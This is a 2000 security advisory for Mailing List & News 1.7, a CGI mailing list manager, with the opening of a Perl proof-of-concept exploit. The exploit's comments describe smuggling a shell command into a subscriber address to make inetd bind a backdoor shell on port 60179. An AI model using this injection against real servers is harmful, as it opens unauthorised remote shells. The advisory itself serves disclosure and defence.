Mailing List & News remote security vulnerability exposed
28 Oct. 2000
Summary
Mailing List & News is a simple mailing list manager system with the ability to send mass newsletters to subscribers.
By exploiting a security flaw in the CGI, it is possible to pipe arbitrary commands into a spawned shell.
Credit:
The information has been provided by Telehor.
Vulnerable systems:
Mailing List & News Version 1.7
Exploit:
The exploit code will cause the creation of a file in the /tmp directory and then the execution of /usr/sbin/inetd with the file as a parameter.
When inetd has been successfully executed, a backdoor will be waiting on port 60179.
Exploit Code:
#!/usr/bin/perl -w
## Mailing List & News Version 1.7 / PoC Exploit.
## UtilMind Solutions / http://www.utilmind.com/
##
## Actually a pretty amusing exploit to write!
##
## The 'open(MAIL, "|$mailprog $address")' ...
## code sends e-mail to those who are on the
## mailing list - and the subscribers' e-mail
## addresses are located in a file called:
## maillist.txt. (could be called anything, really)
##
## So we sign on 'hass@ & echo 'fido stream tcp ..'
## and send out a mail to everyone on the list,
## including to our 'evil' address. Sending mail
## to the subscribers is supposed to be limited
## to those who know the password - but it really
## isn't - so we don't have to wait. <grin>
##
## Exploit will attempt to bind a shell at port
## 60179/fido using inetd.
##
## http://teleh0r.cjb.net/ || teleh0r@doglover.com
use strict; use Socket;
if (@ARGV < 1) {
print("Usage: $0 <target>\n");
exit(1);
}
